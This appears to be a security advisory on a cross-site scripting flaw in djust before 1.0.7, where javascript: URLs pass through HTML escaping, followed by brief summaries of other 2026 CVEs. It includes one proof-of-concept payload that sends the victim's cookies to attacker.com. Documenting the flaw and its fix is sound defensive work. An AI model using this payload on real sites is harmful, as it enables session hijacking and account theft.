Sep 17, 2026·5 min read·21 visits
A vulnerability in djust (< 1.0.7) allows unauthenticated stored or reflected XSS because component template tags fail to validate URI schemes, allowing 'javascript:' payloads to execute directly upon user interaction.
Prior to version 1.0.7, the djust Python package is vulnerable to Stored and Reflected Cross-Site Scripting (XSS) via component template tags. The underlying issue exists because the package fails to sanitize or validate incoming URI schemes when rendering URLs inside interactive HTML attributes like href or action. While the framework HTML-escapes strings to prevent attribute breakout, it permits the execution of arbitrary JavaScript via the javascript: pseudo-protocol.
The djust library is a Django-based framework designed to provide high-performance, real-time UI updates over WebSockets. Under the hood, it leverages a Rust-powered rendering architecture to process templates server-side in a manner reminiscent of Phoenix LiveView. By bypassing complex front-end compilation steps, it allows developers to build reactive components natively inside Django.
A security vulnerability exists in several built-in component template tags nested within the djust.components.templatetags.* namespace. These tags are responsible for generating interactive elements, such as anchors and forms, and rendering developer- or user-supplied URLs into their respective attributes. The attack surface is exposed to any user-supplied content that binds to these components without rigorous backend validation.
Prior to version 1.0.7, the framework relied entirely on HTML escaping to prevent injection attacks within these tags. Although HTML escaping blocks traditional attribute breakout payloads, it does not prevent browser interpretation of alternative URI schemes. The resulting Stored or Reflected Cross-Site Scripting (XSS) vulnerability allows malicious script execution under specific user interactions.
The root cause of this vulnerability lies in the improper handling and verification of URI schemes inside the component rendering pipeline. Web templates require structural validation when rendering URLs inside tags like <a href="..."> or <form action="...">. While HTML escaping mitigates tag injection, it remains blind to the protocol part of the URL.
When a component template tag is processed, the system invokes Django's standard escaping mechanism or calls conditional_escape(url) internally. This routine successfully identifies and escapes structural characters such as double quotes, single quotes, and angle brackets. Consequently, input containing payloads like https://example.com" onmouseover="alert(1) is safely neutralized and rendered as an un-executable string inside the attribute value.
However, the javascript: pseudo-protocol consists entirely of alphanumeric characters, colons, and parentheses. Because these characters are not flagged as special HTML entities, conditional_escape yields the input string unchanged. When the browser parses the rendered document and the user triggers the interaction, the browser interprets the URI protocol scheme and executes the JavaScript instructions directly in the security context of the origin.
To demonstrate the flaw, we analyze the logical vulnerable execution path within the tag generation logic. Below is a representation of the template output and Python processing routine before and after the security patch introduced in version 1.0.7.
<!-- Vulnerable Template Generation Pattern (< 1.0.7) -->
<!-- The context variable 'url' is rendered verbatim, relying solely on HTML escaping -->
<a href="{{ url }}">Action Link</a># Conceptual representation of the patch logic applied in version 1.0.7
import urllib.parse
SAFE_SCHEMES = ("http", "https", "mailto", "tel", "sms")
def sanitize_component_url(url_string):
# Parse the incoming URL to isolate the protocol scheme
parsed = urllib.parse.urlparse(url_string.strip())
# If a scheme exists but is not explicitly whitelisted, invalidate it
if parsed.scheme and parsed.scheme.lower() not in SAFE_SCHEMES:
# Return a safe fallback to prevent script execution
return "#"
return url_stringThe fix implemented in version 1.0.7 introduces structured parsing and whitelist-based scheme checking prior to output generation. By rejecting pseudo-protocols like javascript: and data:, the template tags can no longer inject executable script environments into structural HTML link attributes. This effectively closes the logical loophole left open by simple character-escaping routines.
An attacker can leverage this flaw by submitting a malicious link to any model or input field that feeds into a djust template tag component. The attack requires minimal complexity and low privileges, meaning any authenticated user with the ability to edit a profile, leave a comment, or configure a dashboard link can act as the threat vector.
A functional proof-of-concept payload targeting the session context would look like the following:
javascript:fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie))
Once the victim's browser renders the component containing this link and the victim clicks the element, the browser parses the javascript: scheme. The active session cookies (excluding those protected by the HttpOnly flag) are then transmitted to the external system controlled by the attacker.
The security impact is classified as Medium with a CVSS v4.0 base score of 5.1. The threat primarily impacts subsequent systems and clients rather than the direct integrity of the host server filesystem or data layer.
A successful exploit permits arbitrary client-side code execution. Attackers can execute actions on behalf of the victim (similar to a Cross-Site Request Forgery attack), manipulate page contents to present phishing interfaces, or steal active session tokens.
Immediate remediation requires upgrading the djust package to version 1.0.7 or later. The update implements standard, strict protocol validation that neutralizes the injection vector by neutralizing non-conforming pseudo-protocols inside component logic.
In environments where package upgrades are delayed by policy or regression testing requirements, developers must implement manual input filtering. This involves validating all URLs through a custom parsing validator prior to component rendering. Any URL containing an invalid scheme or a scheme not explicitly matching HTTP, HTTPS, or local relative paths must be rejected.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
djust djust-org | < 1.0.7 | 1.0.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 5.1 |
| EPSS Score | 0.00% |
| Impact | Cross-Site Scripting (XSS) |
| Exploit Status | PoC |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-114147 is a high-severity Denial of Service (DoS) vulnerability affecting ASP.NET Core and specifically the Microsoft.AspNetCore.SignalR.StackExchangeRedis scale-out provider across .NET 8.0, 9.0, 10.0, and 11.0 preview releases. The vulnerability originates from a string comparison mismatch between internal per-connection group collections and the centralized Redis channel subscription registry, compounded by a race condition during connection teardown. Remote unauthenticated attackers can exploit this flaw to leave orphaned connection contexts and active Redis pub/sub listeners pinned in memory, leading to unbounded memory exhaustion and application process termination.
CVE-2026-114156 is an improper resolution of path equivalence vulnerability (CWE-41) in Microsoft ASP.NET Core affecting .NET 11.0 preview releases and Microsoft Visual Studio 2026. The vulnerability stems from a discrepancy between how path prefix validation helpers (such as PathString.StartsWithSegments) and downstream routing mechanisms handle alternate path separators and percent-encoded characters. An unauthenticated remote attacker can exploit this mismatch over the network to bypass path-based authorization middleware and access restricted endpoints.
CVE-2026-114157 is a high-severity local privilege escalation and security feature bypass vulnerability affecting ASP.NET Core on Microsoft Windows. The flaw resides in the Kestrel web server's Named Pipes transport layer (Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes) and stems from a race condition (CWE-362) during broken pipe error recovery. When an active connection throws an IOException during handshake acceptance, the connection listener previously disposed of the broken NamedPipeServerStream instance before acquiring a replacement stream from its internal pool. This sequence created a momentary window where zero server instances of the named pipe existed in the Windows Named Pipe File System (NPFS). A local, low-privileged attacker can exploit this timing window to create a named pipe with the identical name and a permissive Discretionary Access Control List (DACL), hijacking subsequent inter-process communications and escalating privileges across security boundaries.
CVE-2026-124194 is a forced authentication and spoofing vulnerability in Microsoft Office Outlook caused by a missing user interface warning before dereferencing remote network paths (CWE-356). By embedding an attacker-controlled Universal Naming Convention (UNC) path within MAPI message properties such as PidLidReminderFileParameter, an unauthenticated remote attacker can force a victim's system to initiate an outbound SMB or WebDAV connection upon opening or previewing a crafted message. This automatic authentication handshake leaks the user's NetNTLMv2 hash, enabling offline password cracking or real-time NTLM relay attacks. The vulnerability was exploited in the wild as a zero-day prior to its remediation in Microsoft's November 2026 Patch Tuesday updates and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
CVE-2026-114154 is a high-severity Denial of Service (DoS) and uncontrolled resource consumption vulnerability in the Microsoft.AspNetCore.Server.HttpSys component of ASP.NET Core. When processing an HTTP request that simultaneously contains a chunked Transfer-Encoding header, a Content-Length header, and an explicit X-Content-Length header, the server throws an unhandled ArgumentException during header normalization. In certain versions, subsequent exception handling attempts to dereference a disposed native request context, aborting error response dispatch and leaking unmanaged HTTP.sys request structures.
A local elevation of privilege vulnerability exists in the Microsoft .NET Aspire CLI (`Aspire.Cli`) versions 13.5.4 prior to 13.6.5. When executing SDK management commands (`aspire sdk generate`, `aspire sdk dump`, and `aspire sdk export`), the CLI creates temporary project directories inside the shared operating system temporary folder (such as `/tmp` on Unix-like systems) without restricting directory permissions or disabling MSBuild automatic response file resolution. A local, low-privileged attacker on a multi-user system can place a crafted `Directory.Build.rsp` file in the shared temporary directory hierarchy. When a victim user executes an affected Aspire CLI command, MSBuild traverses upward, ingests the attacker-controlled response file, and executes arbitrary commands in the security context of the victim user.